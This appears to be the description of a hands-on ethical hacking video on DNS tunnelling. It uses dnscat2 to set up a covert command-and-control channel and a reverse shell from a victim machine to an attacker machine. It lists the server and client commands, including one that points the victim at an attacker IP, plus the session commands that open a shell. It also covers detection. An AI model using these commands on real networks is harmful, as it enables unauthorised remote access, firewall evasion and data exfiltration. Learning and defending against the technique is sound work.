Ethical Hacking - Full Course - DNS Tunneling Attack & Access Target Shell | Full Hands-On Ethical Hacking Lab

DNS Tunnelling Attack & Access Target Shell | Full Hands-On Ethical Hacking Lab Ever wondered how hackers bypass firewalls and gain remote access — even in restricted networks? In this hands-on ethical hacking lab, we’ll explore how attackers use DNS Tunnelling to create a covert Command & Control (C2) channel and get shell access to a target machine. Using the tool dnscat2, you’ll see exactly how data can be sent over DNS requests, how a shell is established, and how to detect such attacks on your network. This step-by-step practical demo is designed for ethical hackers, penetration testers, SOC analysts, and cybersecurity learners. What You’ll Learn ✅ What DNS tunneling is and how it works ✅ How to use `dnscat2` to create a DNS-based reverse shell ✅ How attackers exfiltrate data and execute commands via DNS ✅ Firewall evasion and covert channel concepts ✅ How to monitor and detect DNS tunneling activity 🧪 Lab Environment Attacker: Kali Linux (running dnscat2 server) Victim: Ubuntu (running dnscat2 client) Network: Host-only / internal (no domain required) ⚙️ Key Commands sudo ruby ./dnscat2.rb # Start C2 server ./dnscat --dns server=10.10.10.138:domain=fake.lan --verbose # Victim connect windows # List sessions window -i 1 && shell # Launch shell 🧰 Tools Used dnscat2 – DNS-based C2 framework Wireshark – Traffic capture ⚔️ Ethical Disclaimer ⚠️ This lab is for educational and authorized testing only. Do not attempt to run these techniques on systems or networks you don’t own or have permission to test. Always follow responsible disclosure and cybersecurity laws. #dnstunneling #ethicalhacking #cybersecurity #redteaming #dnscat2 #penetrationtesting #hackinglab #firewallbypass #malwareanalysis #c2 #commandandcontrol #kali #ubuntu #infosec #dnsattack
